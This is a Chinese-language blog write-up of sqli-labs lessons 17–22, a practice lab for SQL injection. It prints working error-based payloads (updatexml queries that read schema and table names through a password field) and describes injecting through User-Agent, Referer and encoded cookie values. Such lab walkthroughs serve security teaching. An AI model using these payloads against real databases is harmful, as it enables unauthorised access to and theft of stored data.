sqli-labs Less17-Less22

Lesson 17 POST-Update Query-Error Based - String (基于错误的更新查询POST注入)

 

(1)先进行登录测试

  SELECT username, password FROM users WHERE username= 'admin' LIMIT 0,1

 

   显示的是这样的结果,成功更新了你的密码,密码重置

 

  随便输入一个用户名进行登录,会出现错误

 

 

 

(2)POST语句处的密码随便进行修改,并不会出现错误,因为用户名并没有改变

 

    uname=admin&passwd=adm&submit=Submit

 

 

 

    SELECT username, password FROM users WHERE username= 'admin' LIMIT 0,1

 

 

 

  但如果把用户名改错,就会出现错误

  uname=admi&passwd=adm&submit=Submit

 

 

  SELECT username, password FROM users WHERE username= 'admi' LIMIT 0,1

 

 

(3)此时sql语句中并不显示有关password的语句,需要在源代码中添加两个语句

 

 

 

 

  将用户名输入正确,再次执行

  uname=admin&passwd=adm&submit=Submit

 

  SELECT username, password FROM users WHERE username= 'admin' LIMIT 0,1

  UPDATE users SET password = 'adm' WHERE username='admin'

 

   执行成功

 

  分析sql语句,先执行第一条语句,也就是username= 'admin' ,只有执行正确,才会执行接下来的语句。

  uname=admin'#&passwd=adm&submit=Submit

 

  SELECT username, password FROM users WHERE username= 'admin\'#' LIMIT 0,1

  如果对用户名进行操作,它对单引号进行了转义,所以对uname进行了过滤处理,我们无法对其进行操作。所以所有用户名必须是正确的。所以进行操作,只能从passwd入手。

 

(4)passwd进行入手

    uname=admin&passwd=admin'#&submit=Submit

 

    SELECT username, password FROM users WHERE username= 'admin' LIMIT 0,1

    UPDATE users SET password = 'admin'#' WHERE username='admin'

 

   这里并没有对passwd产生转义,这说明对用户名进行了过滤处理,但没有对password进行过滤处理,所以我们要对它进行一次注入。这里能进行的前提是必须知道正确的用户名

 

(5)构造注入语句(报错注入)

  查询到库名了

 

  整体的构造大概是这个结构

 

 

   其中的构造语句部分替换之前使用的查库,查表那些基础语言即可,把select改成and

 

 

 

 

(6)查库

  uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1)#&submit=Submit

 

   显示出第一个库名,通过报错的形式显示出信息

 

(7)查表

  uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)),1)#&submit=Submit

 

   查到security库里的第一个表

 

(8)剩下的进行替换即可,都可以查到

 

 

  Lesson 17结束

 

 

 

Lesson 18 POST-Header injection - Uagent Field - Error Based (基于错误的用户代理,头部POST注入)

 

(1)先测试

  uname=admin&passwd=admin&submit=Submit

 

  SELECT users.username, users.password FROM users WHERE users.username='admin' and users.password='admin' ORDER BY users.id DESC LIMIT 0,1

 

   登陆后显示有自己的IP地址和成功登录,还包括User Agent信息

 

  登陆错误试试看,把密码改错

  uname=admin&passwd=admi1n&submit=Submit

 

   还会显示IP地址,但是不再显示User Agent信息

 

 

(2)查看注入点,这一关usernamepassword部分都不能进行注入,因为加上单引号并加上#进行注释,发现登录失败,并且注入部分会被转义,所以无法进行注入

 

  uname=admin'#&passwd=admin&submit=Submit

 

  SELECT users.username, users.password FROM users WHERE users.username='admin\'#' and users.password='admin' ORDER BY users.id DESC LIMIT 0,1

 

 

(3)这时我们要使用burp suite进行抓包操作,查看HTTP头部信息。因为根据对错的显示对比发现,User Agent部分有变化,所以它是可以进行注入的

 

 

   这里看到Host信息和User Agent信息

 

  这时我们需要看一下User Agent部分的代码,在源代码部分加上这两句话

 

 

   这时再次登录会显示User Agent部分的代码

 

 

  SELECT users.username, users.password FROM users WHERE users.username='admin' and users.password='admin' ORDER BY users.id DESC LIMIT 0,1

 

  INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('Mozilla/5.0 (Windows NT 5.2; rv:17.0) Gecko/20100101 Firefox/17.0', '192.168.3.254', 'admin')

 

 

(4)这里要使用另外一个工具,虚拟机里的火狐浏览器暂时无法安装此插件,以下截图是视频教程的截图

 

 

 

  INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('Mozilla/5.0 (Windows NT 5.2; rv:17.0) Gecko/20100101 Firefox/17.0', '192.168.3.254', 'admin')

  红字部分是要放浏览器信息的,然后对之后的信息进行闭合(使用单引号进行闭合),前面进行闭合,后面也要闭合

 

 

 

  填入这个插件中

 

 

 

  一定要保证是正确的用户和密码

 

  进行执行

 

 

 

  发现拿到了security

  以上为第一种闭合方法

 

  第二种

 

 

 

  这种闭合语句同样可以拿到security

 

  第三种(常规语句)

 

 

 

 

 

 

 

 

 

  之后和之前一样,改改就可以了,使用limit进行遍历

 

 

  基本结构

 

 

 

 

  Lesson 18结束

 

 

Lesson 19 POST-Header injection - Referer Field - Error Based (基于头部的 Referer POST报错注入)

 

 

 

 

 

 

 

 

(1)先测试

  uname=admin&passwd=admin&submit=Submit

 

  SELECT users.username, users.password FROM users WHERE users.username='admin' and users.password='admin' ORDER BY users.id DESC LIMIT 0,1

 

   登陆后,显示了登录成功,IP地址和Referer信息

 

  uname=admin&passwd=admin'&submit=Submit

 

   登录失败,仍然显示IP地址信息,但是不显示Referer信息了

 

(2)18关相似,只不过显示的不是User Agent信息而是Referer信息,但是操作差不多相似

 

  查看源代码部分

 

 

 

  对源代码进行分析,我们需要进行闭合操作

 

 

 

(3)进行操作

 

 

 

 

   取出了数据库信息

 

  然后用基础查询语句进行拼接,查询即可,不再进行展示

 

 

  Lesson 19结束

 

 

 

Lesson 20 POST-Cookie injection - Uagent Field - Error Based (基于错误的cookie头部 POST注入)

 

(1)先测试

  出现以下信息

  显示了很多信息,包括cookie信息

 

 

 

  如若登录失败,则什么信息都不显示

 

 

 

(2)看总结的第三条,在这条语句中,如果将uname的位置换成cookie,登录成功后再次刷新,如果cookie中还有这个值的存在,就会从cookie中取值。

 

  这里需要借助另外一个工具,谷歌浏览器下的插件,Cookie Editor

 

 

 

 

 

   在值这里加上一个单引号并进行保存,再次回车

 

  进行了报错,说明这里存在注入

 

 

 

(3)开始注入

 

 

   用单引号进行闭合,使用联合查询语句进行查询,后方用#注释掉,保存后,再次回车

 

  查询到数据库信息security

 

 

 

(4)接下来就是基本操作

 

 

   接下来不再展示,差不多的操作

 

  Lesson 20结束

 

 

 

Lesson 21 Cookie injection - Error Based - complex - string (基于错误的复杂的字符型cookie注入)

 

 

 

(1)先登录

 

 

   显示的是这样的信息,cookie语句部分的值是一个加密过的信息,需要解密

 

(2)使用cookie工具查看

 

 

   这是加密过的,需要解密(其中%3D就是等号的意思,=

 

  使用在线加密解密工具解密,将%3D换成=

 

 

   解密得出信息为admin

 

(3)接下来进行注入,在明文处写好语句再加密即可

 

 

 

 

   记得保存,再次刷新

 

 

 

   取出信息

 

  其他操作都一样,不再进行展示

 

 

 

 

  Lesson 21结束

 

 

 

Lesson 22 Cookie injection - Error Based - Double Quotes - string (基于错误的双引号字符型cookie注入)

 

 

 

 

  和21关相似,只不过联合查询语句处的单引号换成了双引号,其他均相同

 

 

 

 

 

 

  Lesson 22结束

 

posted @ 2020-03-18 20:50  zhaihuijie  阅读(282)  评论(0编辑  收藏  举报